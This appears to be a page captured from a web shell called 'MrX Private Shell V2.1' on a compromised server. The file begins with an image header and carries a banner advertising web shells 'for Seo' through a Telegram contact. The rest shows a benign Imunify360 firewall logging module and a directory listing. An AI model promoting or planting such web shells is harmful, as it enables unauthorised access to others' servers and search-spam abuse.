����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
"""Methods to generate logging iptables rules."""
from typing import Iterator
from im360.internals.core import firewall
from im360.internals.core.firewall import FirewallRules, rule_logging_enabled
from defence360agent.utils.validate import IPVersion
from .types_ import FirewallRule
def rules(
ipset_name: str, ip_version: IPVersion, prefix: str, priority: int
) -> Iterator[FirewallRule]:
"""Logging iptables rules for ..{sync,ip}.IPSet ipsets."""
if firewall.firewall_logging_enabled() and rule_logging_enabled(prefix):
yield FirewallRule(
rule=FirewallRules.compose_rule(
FirewallRules.ipset(ipset_name),
action=FirewallRules.nflog_action(
group=FirewallRules.nflog_group(ip_version),
prefix=prefix,
),
),
priority=priority,
)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 680 B | 0644 |
|
| captcha.py | File | 3.71 KB | 0644 |
|
| drop.py | File | 604 B | 0644 |
|
| log.py | File | 887 B | 0644 |
|
| port.py | File | 773 B | 0644 |
|
| splashscreen.py | File | 1.19 KB | 0644 |
|
| types_.py | File | 1.67 KB | 0644 |
|
| webshield.py | File | 4.21 KB | 0644 |
|
| white.py | File | 1016 B | 0644 |
|